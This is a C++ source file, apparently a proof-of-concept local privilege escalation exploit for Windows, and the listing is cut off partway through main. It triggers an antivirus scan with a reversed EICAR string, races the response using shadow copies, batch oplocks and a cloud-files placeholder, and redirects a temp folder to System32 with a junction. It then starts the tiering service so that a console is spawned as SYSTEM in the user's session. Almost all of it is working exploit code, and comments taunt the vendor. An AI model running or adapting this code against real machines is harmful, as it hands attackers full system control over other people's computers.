RedSun.cpp 27 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777
  1. // It gets funnier as time passes...
  2. #define _CRT_SECURE_NO_WARNINGS
  3. #include <iostream>
  4. #include <Windows.h>
  5. #include <conio.h>
  6. #include <winternl.h>
  7. #include <ntstatus.h>
  8. #include <cfapi.h>
  9. #pragma comment(lib,"synchronization.lib")
  10. #pragma comment(lib,"sas.lib")
  11. #pragma comment(lib,"ntdll.lib")
  12. #pragma comment(lib,"CldApi.lib")
  13. typedef struct _FILE_DISPOSITION_INFORMATION_EX {
  14. ULONG Flags;
  15. } FILE_DISPOSITION_INFORMATION_EX, * PFILE_DISPOSITION_INFORMATION_EX;
  16. typedef struct _FILE_RENAME_INFORMATION {
  17. #if (_WIN32_WINNT >= _WIN32_WINNT_WIN10_RS1)
  18. union {
  19. BOOLEAN ReplaceIfExists; // FileRenameInformation
  20. ULONG Flags; // FileRenameInformationEx
  21. } DUMMYUNIONNAME;
  22. #else
  23. BOOLEAN ReplaceIfExists;
  24. #endif
  25. HANDLE RootDirectory;
  26. ULONG FileNameLength;
  27. WCHAR FileName[1];
  28. } FILE_RENAME_INFORMATION, * PFILE_RENAME_INFORMATION;
  29. typedef struct _OBJECT_DIRECTORY_INFORMATION {
  30. UNICODE_STRING Name;
  31. UNICODE_STRING TypeName;
  32. } OBJECT_DIRECTORY_INFORMATION, * POBJECT_DIRECTORY_INFORMATION;
  33. typedef struct _REPARSE_DATA_BUFFER {
  34. ULONG ReparseTag;
  35. USHORT ReparseDataLength;
  36. USHORT Reserved;
  37. union {
  38. struct {
  39. USHORT SubstituteNameOffset;
  40. USHORT SubstituteNameLength;
  41. USHORT PrintNameOffset;
  42. USHORT PrintNameLength;
  43. ULONG Flags;
  44. WCHAR PathBuffer[1];
  45. } SymbolicLinkReparseBuffer;
  46. struct {
  47. USHORT SubstituteNameOffset;
  48. USHORT SubstituteNameLength;
  49. USHORT PrintNameOffset;
  50. USHORT PrintNameLength;
  51. WCHAR PathBuffer[1];
  52. } MountPointReparseBuffer;
  53. struct {
  54. UCHAR DataBuffer[1];
  55. } GenericReparseBuffer;
  56. } DUMMYUNIONNAME;
  57. } REPARSE_DATA_BUFFER, * PREPARSE_DATA_BUFFER;
  58. #define REPARSE_DATA_BUFFER_HEADER_LENGTH FIELD_OFFSET(REPARSE_DATA_BUFFER, GenericReparseBuffer.DataBuffer)
  59. HMODULE h = LoadLibrary(L"ntdll.dll");
  60. HMODULE hm = GetModuleHandle(L"ntdll.dll");
  61. NTSTATUS(WINAPI* _NtOpenDirectoryObject)(
  62. PHANDLE DirectoryHandle,
  63. ACCESS_MASK DesiredAccess,
  64. POBJECT_ATTRIBUTES ObjectAttributes
  65. ) = (NTSTATUS(WINAPI*)(
  66. PHANDLE DirectoryHandle,
  67. ACCESS_MASK DesiredAccess,
  68. POBJECT_ATTRIBUTES ObjectAttributes
  69. ))GetProcAddress(hm, "NtOpenDirectoryObject");;
  70. NTSTATUS(WINAPI* _NtQueryDirectoryObject)(
  71. HANDLE DirectoryHandle,
  72. PVOID Buffer,
  73. ULONG Length,
  74. BOOLEAN ReturnSingleEntry,
  75. BOOLEAN RestartScan,
  76. PULONG Context,
  77. PULONG ReturnLength
  78. ) = (NTSTATUS(WINAPI*)(
  79. HANDLE DirectoryHandle,
  80. PVOID Buffer,
  81. ULONG Length,
  82. BOOLEAN ReturnSingleEntry,
  83. BOOLEAN RestartScan,
  84. PULONG Context,
  85. PULONG ReturnLength
  86. ))GetProcAddress(hm, "NtQueryDirectoryObject");
  87. NTSTATUS(WINAPI* _NtSetInformationFile)(
  88. HANDLE FileHandle,
  89. PIO_STATUS_BLOCK IoStatusBlock,
  90. PVOID FileInformation,
  91. ULONG Length,
  92. FILE_INFORMATION_CLASS FileInformationClass
  93. ) = (NTSTATUS(WINAPI*)(
  94. HANDLE FileHandle,
  95. PIO_STATUS_BLOCK IoStatusBlock,
  96. PVOID FileInformation,
  97. ULONG Length,
  98. FILE_INFORMATION_CLASS FileInformationClass
  99. ))GetProcAddress(hm, "NtSetInformationFile");
  100. struct LLShadowVolumeNames
  101. {
  102. wchar_t* name;
  103. LLShadowVolumeNames* next;
  104. };
  105. void DestroyVSSNamesList(LLShadowVolumeNames* First)
  106. {
  107. while (First)
  108. {
  109. free(First->name);
  110. LLShadowVolumeNames* next = First->next;
  111. free(First);
  112. First = next;
  113. }
  114. }
  115. LLShadowVolumeNames* RetrieveCurrentVSSList(HANDLE hobjdir, bool* criticalerr, int* vscnumber)
  116. {
  117. if (!criticalerr || !vscnumber)
  118. return NULL;
  119. *vscnumber = 0;
  120. ULONG scanctx = 0;
  121. ULONG reqsz = sizeof(OBJECT_DIRECTORY_INFORMATION) + (UNICODE_STRING_MAX_BYTES * 2);
  122. ULONG retsz = 0;
  123. OBJECT_DIRECTORY_INFORMATION* objdirinfo = (OBJECT_DIRECTORY_INFORMATION*)malloc(reqsz);
  124. if (!objdirinfo)
  125. {
  126. printf("Failed to allocate required buffer to query object manager directory.\n");
  127. *criticalerr = true;
  128. return NULL;
  129. }
  130. ZeroMemory(objdirinfo, reqsz);
  131. NTSTATUS stat = STATUS_SUCCESS;
  132. do
  133. {
  134. stat = _NtQueryDirectoryObject(hobjdir, objdirinfo, reqsz, FALSE, FALSE, &scanctx, &retsz);
  135. if (stat == STATUS_SUCCESS)
  136. break;
  137. else if (stat != STATUS_MORE_ENTRIES)
  138. {
  139. printf("NtQueryDirectoryObject failed with 0x%0.8X\n", stat);
  140. *criticalerr = true;
  141. return NULL;
  142. }
  143. free(objdirinfo);
  144. reqsz += sizeof(OBJECT_DIRECTORY_INFORMATION) + 0x100;
  145. objdirinfo = (OBJECT_DIRECTORY_INFORMATION*)malloc(reqsz);
  146. if (!objdirinfo)
  147. {
  148. printf("Failed to allocate required buffer to query object manager directory.\n");
  149. *criticalerr = true;
  150. return NULL;
  151. }
  152. ZeroMemory(objdirinfo, reqsz);
  153. } while (1);
  154. void* emptybuff = malloc(sizeof(OBJECT_DIRECTORY_INFORMATION));
  155. ZeroMemory(emptybuff, sizeof(OBJECT_DIRECTORY_INFORMATION));
  156. LLShadowVolumeNames* LLVSScurrent = NULL;
  157. LLShadowVolumeNames* LLVSSfirst = NULL;
  158. for (ULONG i = 0; i < ULONG_MAX; i++)
  159. {
  160. if (memcmp(&objdirinfo[i], emptybuff, sizeof(OBJECT_DIRECTORY_INFORMATION)) == 0)
  161. {
  162. free(emptybuff);
  163. break;
  164. }
  165. if (_wcsicmp(L"Device", objdirinfo[i].TypeName.Buffer) == 0)
  166. {
  167. wchar_t cmpstr[] = { L"HarddiskVolumeShadowCopy" };
  168. if (objdirinfo[i].Name.Length >= sizeof(cmpstr))
  169. {
  170. if (memcmp(cmpstr, objdirinfo[i].Name.Buffer, sizeof(cmpstr) - sizeof(wchar_t)) == 0)
  171. {
  172. (*vscnumber)++;
  173. if (LLVSScurrent)
  174. {
  175. LLVSScurrent->next = (LLShadowVolumeNames*)malloc(sizeof(LLShadowVolumeNames));
  176. if (!LLVSScurrent->next)
  177. {
  178. printf("Failed to allocate memory.\n");
  179. *criticalerr = true;
  180. DestroyVSSNamesList(LLVSSfirst);
  181. return NULL;
  182. }
  183. ZeroMemory(LLVSScurrent->next, sizeof(LLShadowVolumeNames));
  184. LLVSScurrent = LLVSScurrent->next;
  185. LLVSScurrent->name = (wchar_t*)malloc(objdirinfo[i].Name.Length + sizeof(wchar_t));
  186. if (!LLVSScurrent->name)
  187. {
  188. printf("Failed to allocate memory !!!\n");
  189. *criticalerr = true;
  190. return NULL;
  191. }
  192. ZeroMemory(LLVSScurrent->name, objdirinfo[i].Name.Length + sizeof(wchar_t));
  193. memmove(LLVSScurrent->name, objdirinfo[i].Name.Buffer, objdirinfo[i].Name.Length);
  194. }
  195. else
  196. {
  197. LLVSSfirst = (LLShadowVolumeNames*)malloc(sizeof(LLShadowVolumeNames));
  198. if (!LLVSSfirst)
  199. {
  200. printf("Failed to allocate memory.\n");
  201. *criticalerr = true;
  202. return NULL;
  203. }
  204. ZeroMemory(LLVSSfirst, sizeof(LLShadowVolumeNames));
  205. LLVSScurrent = LLVSSfirst;
  206. LLVSScurrent->name = (wchar_t*)malloc(objdirinfo[i].Name.Length + sizeof(wchar_t));
  207. if (!LLVSScurrent->name)
  208. {
  209. printf("Failed to allocate memory !!!\n");
  210. *criticalerr = true;
  211. return NULL;
  212. }
  213. ZeroMemory(LLVSScurrent->name, objdirinfo[i].Name.Length + sizeof(wchar_t));
  214. memmove(LLVSScurrent->name, objdirinfo[i].Name.Buffer, objdirinfo[i].Name.Length);
  215. }
  216. }
  217. }
  218. }
  219. }
  220. free(objdirinfo);
  221. return LLVSSfirst;
  222. }
  223. HANDLE gevent = CreateEvent(NULL, FALSE, NULL, NULL);
  224. DWORD WINAPI ShadowCopyFinderThread(wchar_t* foo)
  225. {
  226. wchar_t devicepath[] = L"\\Device";
  227. UNICODE_STRING udevpath = { 0 };
  228. RtlInitUnicodeString(&udevpath, devicepath);
  229. OBJECT_ATTRIBUTES objattr = { 0 };
  230. InitializeObjectAttributes(&objattr, &udevpath, OBJ_CASE_INSENSITIVE, NULL, NULL);
  231. NTSTATUS stat = STATUS_SUCCESS;
  232. HANDLE hobjdir = NULL;
  233. stat = _NtOpenDirectoryObject(&hobjdir, 0x0001, &objattr);
  234. if (stat)
  235. {
  236. printf("Failed to open object manager directory, error : 0x%0.8X", stat);
  237. return 1;
  238. }
  239. bool criterr = false;
  240. int vscnum = 0;
  241. LLShadowVolumeNames* vsinitial = RetrieveCurrentVSSList(hobjdir, &criterr, &vscnum);
  242. if (criterr)
  243. {
  244. printf("Unexpected error while listing current volume shadow copy volumes\n");
  245. ExitProcess(1);
  246. }
  247. bool restartscan = false;
  248. ULONG scanctx = 0;
  249. ULONG reqsz = sizeof(OBJECT_DIRECTORY_INFORMATION) + (UNICODE_STRING_MAX_BYTES * 2);
  250. ULONG retsz = 0;
  251. OBJECT_DIRECTORY_INFORMATION* objdirinfo = (OBJECT_DIRECTORY_INFORMATION*)malloc(reqsz);
  252. if (!objdirinfo)
  253. {
  254. printf("Failed to allocate required buffer to query object manager directory.\n");
  255. ExitProcess(1);
  256. }
  257. ZeroMemory(objdirinfo, reqsz);
  258. stat = STATUS_SUCCESS;
  259. bool srchfound = false;
  260. scanagain:
  261. do
  262. {
  263. scanctx = 0;
  264. stat = _NtQueryDirectoryObject(hobjdir, objdirinfo, reqsz, FALSE, restartscan, &scanctx, &retsz);
  265. if (stat == STATUS_SUCCESS)
  266. break;
  267. else if (stat != STATUS_MORE_ENTRIES)
  268. {
  269. printf("NtQueryDirectoryObject failed with 0x%0.8X\n", stat);
  270. ExitProcess(1);
  271. }
  272. free(objdirinfo);
  273. reqsz += sizeof(OBJECT_DIRECTORY_INFORMATION) + 0x100;
  274. objdirinfo = (OBJECT_DIRECTORY_INFORMATION*)malloc(reqsz);
  275. if (!objdirinfo)
  276. {
  277. printf("Failed to allocate required buffer to query object manager directory.\n");
  278. ExitProcess(1);
  279. }
  280. ZeroMemory(objdirinfo, reqsz);
  281. } while (1);
  282. void* emptybuff = malloc(sizeof(OBJECT_DIRECTORY_INFORMATION));
  283. if (!emptybuff)
  284. {
  285. printf("Failed to allocate memory !!!");
  286. ExitProcess(1);
  287. }
  288. ZeroMemory(emptybuff, sizeof(OBJECT_DIRECTORY_INFORMATION));
  289. wchar_t newvsspath[MAX_PATH] = { 0 };
  290. wcscpy(newvsspath, L"\\Device\\");
  291. for (ULONG i = 0; i < ULONG_MAX; i++)
  292. {
  293. if (memcmp(&objdirinfo[i], emptybuff, sizeof(OBJECT_DIRECTORY_INFORMATION)) == 0)
  294. {
  295. free(emptybuff);
  296. emptybuff = NULL;
  297. break;
  298. }
  299. if (_wcsicmp(L"Device", objdirinfo[i].TypeName.Buffer) == 0)
  300. {
  301. wchar_t cmpstr[] = { L"HarddiskVolumeShadowCopy" };
  302. if (objdirinfo[i].Name.Length >= sizeof(cmpstr))
  303. {
  304. if (memcmp(cmpstr, objdirinfo[i].Name.Buffer, sizeof(cmpstr) - sizeof(wchar_t)) == 0)
  305. {
  306. // check against the list if there this is a unique VS Copy
  307. LLShadowVolumeNames* current = vsinitial;
  308. bool found = false;
  309. while (current)
  310. {
  311. if (_wcsicmp(current->name, objdirinfo[i].Name.Buffer) == 0)
  312. {
  313. found = true;
  314. break;
  315. }
  316. current = current->next;
  317. }
  318. if (found)
  319. continue;
  320. else
  321. {
  322. srchfound = true;
  323. wcscat(newvsspath, objdirinfo[i].Name.Buffer);
  324. break;
  325. }
  326. }
  327. }
  328. }
  329. }
  330. if (!srchfound) {
  331. restartscan = true;
  332. goto scanagain;
  333. }
  334. if (objdirinfo)
  335. free(objdirinfo);
  336. NtClose(hobjdir);
  337. wchar_t malpath[MAX_PATH] = { 0 };
  338. wcscpy(malpath, newvsspath);
  339. wcscat(malpath, &foo[2]);
  340. UNICODE_STRING _malpath = { 0 };
  341. RtlInitUnicodeString(&_malpath, malpath);
  342. OBJECT_ATTRIBUTES objattr2 = { 0 };
  343. InitializeObjectAttributes(&objattr2, &_malpath, OBJ_CASE_INSENSITIVE, NULL, NULL);
  344. IO_STATUS_BLOCK iostat = { 0 };
  345. HANDLE hlk = NULL;
  346. retry:
  347. stat = NtCreateFile(&hlk, DELETE | SYNCHRONIZE, &objattr2, &iostat, NULL, FILE_ATTRIBUTE_NORMAL, NULL, FILE_OPEN, NULL, NULL, NULL);
  348. if (stat == STATUS_NO_SUCH_DEVICE)
  349. goto retry;
  350. if (stat)
  351. {
  352. printf("Failed to open file, error : 0x%0.8X\n", stat);
  353. return 1;
  354. }
  355. printf("The sun is shinning...\n");
  356. OVERLAPPED ovd = { 0 };
  357. ovd.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
  358. DeviceIoControl(hlk, FSCTL_REQUEST_BATCH_OPLOCK, NULL, NULL, NULL, NULL, NULL, &ovd);
  359. if (GetLastError() != ERROR_IO_PENDING)
  360. {
  361. printf("Failed to request a batch oplock on the update file, error : %d", GetLastError());
  362. return 0;
  363. }
  364. DWORD nbytes = 0;
  365. SetEvent(gevent);
  366. ResetEvent(gevent);
  367. GetOverlappedResult(hlk, &ovd, &nbytes, TRUE);
  368. WaitForSingleObject(gevent, INFINITE);
  369. CloseHandle(hlk);
  370. WakeByAddressAll(&gevent);
  371. CloseHandle(gevent);
  372. gevent = NULL;
  373. return ERROR_SUCCESS;
  374. }
  375. void rev(char* s) {
  376. // Initialize l and r pointers
  377. int l = 0;
  378. int r = strlen(s) - 1;
  379. char t;
  380. // Swap characters till l and r meet
  381. while (l < r) {
  382. // Swap characters
  383. t = s[l];
  384. s[l] = s[r];
  385. s[r] = t;
  386. // Move pointers towards each other
  387. l++;
  388. r--;
  389. }
  390. }
  391. void DoCloudStuff(wchar_t* syncroot, wchar_t* filename, DWORD filesz = 0x1000)
  392. {
  393. CF_SYNC_REGISTRATION cfreg = { 0 };
  394. cfreg.StructSize = sizeof(CF_SYNC_REGISTRATION);
  395. cfreg.ProviderName = L"SERIOUSLYMSFT"; // let's see how long you can play this game, I'm willing to go as far as you want.
  396. cfreg.ProviderVersion = L"1.0";
  397. CF_SYNC_POLICIES syncpolicy = { 0 };
  398. syncpolicy.StructSize = sizeof(CF_SYNC_POLICIES);
  399. syncpolicy.HardLink = CF_HARDLINK_POLICY_ALLOWED;
  400. syncpolicy.Hydration.Primary = CF_HYDRATION_POLICY_PARTIAL;
  401. syncpolicy.Hydration.Modifier = CF_HYDRATION_POLICY_MODIFIER_NONE;
  402. syncpolicy.PlaceholderManagement = CF_PLACEHOLDER_MANAGEMENT_POLICY_DEFAULT;
  403. syncpolicy.InSync = CF_INSYNC_POLICY_NONE;
  404. HRESULT hs = CfRegisterSyncRoot(syncroot, &cfreg, &syncpolicy, CF_REGISTER_FLAG_DISABLE_ON_DEMAND_POPULATION_ON_ROOT);
  405. if (hs)
  406. {
  407. printf("Failed to register syncroot, hr = 0x%0.8X\n", hs);
  408. return;
  409. }
  410. CF_CALLBACK_REGISTRATION callbackreg[1];
  411. callbackreg[0] = { CF_CALLBACK_TYPE_NONE, NULL };
  412. void* callbackctx = NULL;
  413. CF_CONNECTION_KEY cfkey = { 0 };
  414. hs = CfConnectSyncRoot(syncroot, callbackreg, callbackctx, CF_CONNECT_FLAG_REQUIRE_PROCESS_INFO | CF_CONNECT_FLAG_REQUIRE_FULL_FILE_PATH, &cfkey);
  415. if (hs)
  416. {
  417. printf("Failed to connect to syncroot, hr = 0x%0.8X\n", hs);
  418. return;
  419. }
  420. SYSTEMTIME systime = { 0 };
  421. FILETIME filetime = { 0 };
  422. GetSystemTime(&systime);
  423. SystemTimeToFileTime(&systime, &filetime);
  424. FILE_BASIC_INFO filebasicinfo = { 0 };
  425. filebasicinfo.FileAttributes = FILE_ATTRIBUTE_NORMAL;
  426. CF_FS_METADATA fsmetadata = { filebasicinfo, {filesz} };
  427. CF_PLACEHOLDER_CREATE_INFO placeholder[1] = { 0 };
  428. placeholder[0].RelativeFileName = filename;
  429. placeholder[0].FsMetadata = fsmetadata;
  430. GUID uid = { 0 };
  431. wchar_t wuid[100] = {0};
  432. CoCreateGuid(&uid);
  433. StringFromGUID2(uid, wuid,100);
  434. placeholder[0].FileIdentity = wuid;
  435. placeholder[0].FileIdentityLength = lstrlenW(wuid) * sizeof(wchar_t);
  436. placeholder[0].Flags = CF_PLACEHOLDER_CREATE_FLAG_SUPERSEDE | CF_PLACEHOLDER_CREATE_FLAG_MARK_IN_SYNC;
  437. DWORD processedentries = 0;
  438. //WaitForSingleObject(hevent, INFINITE);
  439. hs = CfCreatePlaceholders(syncroot, placeholder, 1, CF_CREATE_FLAG_STOP_ON_ERROR, &processedentries);
  440. if (hs)
  441. {
  442. printf("Failed to create placeholder file, error : 0x%0.8X\n", hs);
  443. return;
  444. }
  445. return;
  446. }
  447. void LaunchConsoleInSessionId()
  448. {
  449. HANDLE hpipe = CreateFile(L"\\??\\pipe\\REDSUN", GENERIC_READ, NULL, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  450. if (hpipe == INVALID_HANDLE_VALUE)
  451. return;
  452. DWORD sessionid = 0;
  453. if (!GetNamedPipeServerSessionId(hpipe, &sessionid))
  454. return;
  455. CloseHandle(hpipe);
  456. HANDLE htoken = NULL;
  457. if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &htoken))
  458. return;
  459. HANDLE hnewtoken = NULL;
  460. bool res = DuplicateTokenEx(htoken, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, &hnewtoken);
  461. CloseHandle(htoken);
  462. if (!res)
  463. return;
  464. res = SetTokenInformation(hnewtoken, TokenSessionId, &sessionid, sizeof(DWORD));
  465. if (!res)
  466. {
  467. CloseHandle(hnewtoken);
  468. return;
  469. }
  470. STARTUPINFO si = { 0 };
  471. PROCESS_INFORMATION pi = { 0 };
  472. CreateProcessAsUser(hnewtoken, L"C:\\Windows\\System32\\conhost.exe", NULL, NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi);
  473. CloseHandle(hnewtoken);
  474. if (pi.hProcess)
  475. CloseHandle(pi.hProcess);
  476. if (pi.hThread)
  477. CloseHandle(pi.hThread);
  478. return;
  479. }
  480. bool IsRunningAsLocalSystem()
  481. {
  482. HANDLE htoken = NULL;
  483. if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &htoken)) {
  484. printf("OpenProcessToken failed, error : %d\n", GetLastError());
  485. return false;
  486. }
  487. TOKEN_USER* tokenuser = (TOKEN_USER*)malloc(MAX_SID_SIZE + sizeof(TOKEN_USER));
  488. DWORD retsz = 0;
  489. bool res = GetTokenInformation(htoken, TokenUser, tokenuser, MAX_SID_SIZE + sizeof(TOKEN_USER), &retsz);
  490. CloseHandle(htoken);
  491. if (!res)
  492. return false;
  493. bool ret = IsWellKnownSid(tokenuser->User.Sid, WinLocalSystemSid);
  494. if (ret) {
  495. LaunchConsoleInSessionId();
  496. ExitProcess(0);
  497. }
  498. return ret;
  499. }
  500. bool r = IsRunningAsLocalSystem();
  501. void LaunchTierManagementEng()
  502. {
  503. CoInitialize(NULL);
  504. GUID guidObject = { 0x50d185b9,0xfff3,0x4656,{0x92,0xc7,0xe4,0x01,0x8d,0xa4,0x36,0x1d} };
  505. void* ret = NULL;
  506. HRESULT hr = CoCreateInstance(guidObject, NULL, CLSCTX_LOCAL_SERVER, guidObject, &ret);
  507. CoUninitialize();
  508. }
  509. int main()
  510. {
  511. HANDLE hpipe = CreateNamedPipe(L"\\??\\pipe\\REDSUN", PIPE_ACCESS_DUPLEX | FILE_FLAG_FIRST_PIPE_INSTANCE, NULL, 1, NULL, NULL, NULL,NULL);
  512. if (hpipe == INVALID_HANDLE_VALUE)
  513. return 1;
  514. wchar_t workdir[MAX_PATH] = { 0 };
  515. ExpandEnvironmentStrings(L"%TEMP%\\RS-", workdir, MAX_PATH);
  516. GUID uid = { 0 };
  517. wchar_t wuid[100] = { 0 };
  518. CoCreateGuid(&uid);
  519. StringFromGUID2(uid, wuid, 100);
  520. wcscat(workdir, wuid);
  521. wchar_t filename[] = L"TieringEngineService.exe";
  522. wchar_t foo[MAX_PATH];
  523. wsprintf(foo, L"%ws\\%ws", workdir, filename);
  524. DWORD tid = 0;
  525. HANDLE hthread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)ShadowCopyFinderThread, foo, NULL, &tid);
  526. if (!CreateDirectory(workdir, NULL))
  527. {
  528. printf("Failed to create workdir");
  529. return 1;
  530. }
  531. HANDLE hfile = CreateFile(foo, GENERIC_READ | GENERIC_WRITE | DELETE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
  532. if (hfile == INVALID_HANDLE_VALUE)
  533. {
  534. printf("Failed create spoof work file.\n");
  535. return 1;
  536. }
  537. char eicar[] = "*H+H$!ELIF-TSET-SURIVITNA-DRADNATS-RACIE$}7)CC7)^P(45XZP\\4[PA@%P!O5X";
  538. rev(eicar);
  539. DWORD nwf = 0;
  540. WriteFile(hfile, eicar, sizeof(eicar) - 1, &nwf, NULL);
  541. // trigger AV response
  542. CreateFile(foo, GENERIC_READ | FILE_EXECUTE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  543. if (WaitForSingleObject(gevent, 120000) != WAIT_OBJECT_0)
  544. {
  545. printf("PoC timed out, is real time protection enabled ?");
  546. return 1;
  547. }
  548. IO_STATUS_BLOCK iostat = { 0 };
  549. FILE_DISPOSITION_INFORMATION_EX fdiex = { 0x00000001 | 0x00000002 };
  550. _NtSetInformationFile(hfile, &iostat, &fdiex, sizeof(fdiex), (FILE_INFORMATION_CLASS)64);
  551. CloseHandle(hfile);
  552. DoCloudStuff(workdir, filename, sizeof(eicar) - 1);
  553. OVERLAPPED ovd = { 0 };
  554. ovd.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
  555. SetEvent(gevent);
  556. WaitOnAddress(&gevent, &gevent, sizeof(HANDLE), INFINITE);
  557. NTSTATUS stat;
  558. wchar_t ntfoo[MAX_PATH] = { L"\\??\\" };
  559. wcscat(ntfoo, foo);
  560. UNICODE_STRING _foo = { 0 };
  561. RtlInitUnicodeString(&_foo, ntfoo);
  562. OBJECT_ATTRIBUTES _objattr = { 0 };
  563. InitializeObjectAttributes(&_objattr, &_foo, OBJ_CASE_INSENSITIVE, NULL, NULL);
  564. wchar_t _tmp[MAX_PATH] = { 0 };
  565. wsprintf(_tmp, L"\\??\\%s.TMP", workdir);
  566. MoveFileEx(workdir,_tmp,MOVEFILE_REPLACE_EXISTING);
  567. if (!CreateDirectory(workdir, NULL))
  568. {
  569. printf("Failed to re-create directory.\n");
  570. return 1;
  571. }
  572. LARGE_INTEGER fsz = { 0 };
  573. fsz.QuadPart = 0x1000;
  574. stat = NtCreateFile(&hfile, FILE_READ_DATA | DELETE | SYNCHRONIZE, &_objattr, &iostat, &fsz, FILE_ATTRIBUTE_READONLY, FILE_SHARE_READ, FILE_SUPERSEDE, NULL, NULL, NULL);
  575. if (stat)
  576. {
  577. printf("Failed to re-open spoof work file, error : 0x%0.8X\n", stat);
  578. return 1;
  579. }
  580. DeviceIoControl(hfile, FSCTL_REQUEST_BATCH_OPLOCK, NULL, NULL, NULL, NULL, NULL, &ovd);
  581. if (GetLastError() != ERROR_IO_PENDING)
  582. {
  583. printf("Failed to request a batch oplock on the update file, error : %d", GetLastError());
  584. return 1;
  585. }
  586. HANDLE hmap = CreateFileMapping(hfile, NULL, PAGE_READONLY, NULL, NULL, NULL);
  587. void* mappingaddr = MapViewOfFile(hmap, PAGE_READONLY, NULL, NULL, NULL);
  588. DWORD nbytes = 0;
  589. GetOverlappedResult(hfile, &ovd, &nbytes, TRUE);
  590. UnmapViewOfFile(mappingaddr);
  591. CloseHandle(hmap);
  592. {
  593. wchar_t _tmp[MAX_PATH] = { 0 };
  594. wsprintf(_tmp, L"\\??\\%s.TEMP2", workdir);
  595. PFILE_RENAME_INFORMATION pfri = (PFILE_RENAME_INFORMATION)malloc(sizeof(FILE_RENAME_INFORMATION) + (sizeof(wchar_t) * wcslen(_tmp)));
  596. ZeroMemory(pfri, sizeof(FILE_RENAME_INFORMATION) + (sizeof(wchar_t) * wcslen(_tmp)));
  597. pfri->ReplaceIfExists = TRUE;
  598. pfri->FileNameLength = (sizeof(wchar_t) * wcslen(_tmp));
  599. memmove(&pfri->FileName[0], _tmp, (sizeof(wchar_t) * wcslen(_tmp)));
  600. stat = _NtSetInformationFile(hfile, &iostat, pfri, sizeof(FILE_RENAME_INFORMATION) + (sizeof(wchar_t) * wcslen(_tmp)), (FILE_INFORMATION_CLASS)10);
  601. _NtSetInformationFile(hfile, &iostat, &fdiex, sizeof(fdiex), (FILE_INFORMATION_CLASS)64);
  602. }
  603. wchar_t _rp[MAX_PATH] = { L"\\??\\" };
  604. wcscat(_rp, workdir);
  605. UNICODE_STRING _usrp = { 0 };
  606. RtlInitUnicodeString(&_usrp, _rp);
  607. InitializeObjectAttributes(&_objattr, &_usrp, OBJ_CASE_INSENSITIVE, NULL, NULL);
  608. HANDLE hrp = NULL;
  609. stat = NtCreateFile(&hrp, FILE_WRITE_DATA | DELETE | SYNCHRONIZE, &_objattr, &iostat, NULL, NULL, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN_IF, FILE_DIRECTORY_FILE | FILE_DELETE_ON_CLOSE, NULL, NULL);
  610. if (stat)
  611. {
  612. printf("Failed to re-open work directory.\n");
  613. return 1;
  614. }
  615. wchar_t rptarget[] = { L"\\??\\C:\\Windows\\System32" };
  616. DWORD targetsz = wcslen(rptarget) * 2;
  617. DWORD printnamesz = 1 * 2;
  618. DWORD pathbuffersz = targetsz + printnamesz + 12;
  619. DWORD totalsz = pathbuffersz + REPARSE_DATA_BUFFER_HEADER_LENGTH;
  620. REPARSE_DATA_BUFFER* rdb = (REPARSE_DATA_BUFFER*)HeapAlloc(GetProcessHeap(), HEAP_GENERATE_EXCEPTIONS | HEAP_ZERO_MEMORY, totalsz);
  621. rdb->ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;
  622. rdb->ReparseDataLength = static_cast<USHORT>(pathbuffersz);
  623. rdb->Reserved = NULL;
  624. rdb->MountPointReparseBuffer.SubstituteNameOffset = NULL;
  625. rdb->MountPointReparseBuffer.SubstituteNameLength = static_cast<USHORT>(targetsz);
  626. memcpy(rdb->MountPointReparseBuffer.PathBuffer, rptarget, targetsz + 2);
  627. rdb->MountPointReparseBuffer.PrintNameOffset = static_cast<USHORT>(targetsz + 2);
  628. rdb->MountPointReparseBuffer.PrintNameLength = static_cast<USHORT>(printnamesz);
  629. memcpy(rdb->MountPointReparseBuffer.PathBuffer + targetsz / 2 + 1, rptarget, printnamesz);
  630. DWORD ret = DeviceIoControl(hrp, FSCTL_SET_REPARSE_POINT, rdb, totalsz, NULL, NULL, NULL, NULL);
  631. HeapFree(GetProcessHeap(), NULL, rdb);
  632. HANDLE hlk = NULL;
  633. HANDLE htimer = CreateWaitableTimer(NULL, FALSE, NULL);
